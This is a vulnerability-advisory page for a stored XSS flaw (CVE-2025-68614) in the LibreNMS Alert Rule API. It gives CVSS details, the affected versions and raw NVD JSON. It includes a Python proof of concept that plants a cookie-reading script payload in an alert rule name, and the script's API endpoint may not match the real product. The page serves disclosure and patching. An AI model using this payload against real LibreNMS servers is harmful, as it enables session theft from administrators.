Security Vulnerability Report
中文
CVE-2025-68614 CVSS 4.3 MEDIUM

CVE-2025-68614

Published: 2025-12-23 00:15:44
Last Modified: 2026-01-02 18:23:31

Description

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Prior to version 25.12.0, the Alert Rule API is vulnerable to stored cross-site scripting. Alert rules can be created or updated via LibreNMS API. The alert rule name is not properly sanitized, and can be used to inject HTML code. This issue has been patched in version 25.12.0.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:* - VULNERABLE
LibreNMS < 25.12.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68614 LibreNMS Stored XSS PoC # Requires high-privilege API access import requests import json TARGET_URL = "http://target-librenms.com" API_TOKEN = "your-api-token-here" # Malicious payload for stored XSS xss_payload = '<script>alert(document.cookie)</script>' # Create alert rule with XSS payload headers = { 'Authorization': f'Bearer {API_TOKEN}', 'Content-Type': 'application/json' } alert_rule_data = { 'name': xss_payload, 'device_id': 1, 'rule': 'macros.device == 1', 'severity': 'warning', 'disabled': 0 } response = requests.post( f'{TARGET_URL}/api/routes/api_alerts.php', headers=headers, json=alert_rule_data ) if response.status_code == 200: print('[+] Alert rule created with XSS payload') print('[+] Payload will execute when viewed in LibreNMS web interface') else: print('[-] Failed to create alert rule') print(f'Response: {response.text}')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68614", "sourceIdentifier": "[email protected]", "published": "2025-12-23T00:15:43.677", "lastModified": "2026-01-02T18:23:30.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Prior to version 25.12.0, the Alert Rule API is vulnerable to stored cross-site scripting. Alert rules can be created or updated via LibreNMS API. The alert rule name is not properly sanitized, and can be used to inject HTML code. This issue has been patched in version 25.12.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.12.0", "matchCriteriaId": "ED5356AB-8E48-4253-BE31-185FCAB75313"}]}]}], "references": [{"url": "https://github.com/librenms/librenms/commit/ebe6c79bf4ce0afeb575c1285afe3934e44001f1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/librenms/librenms/security/advisories/GHSA-c89f-8g7g-59wj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}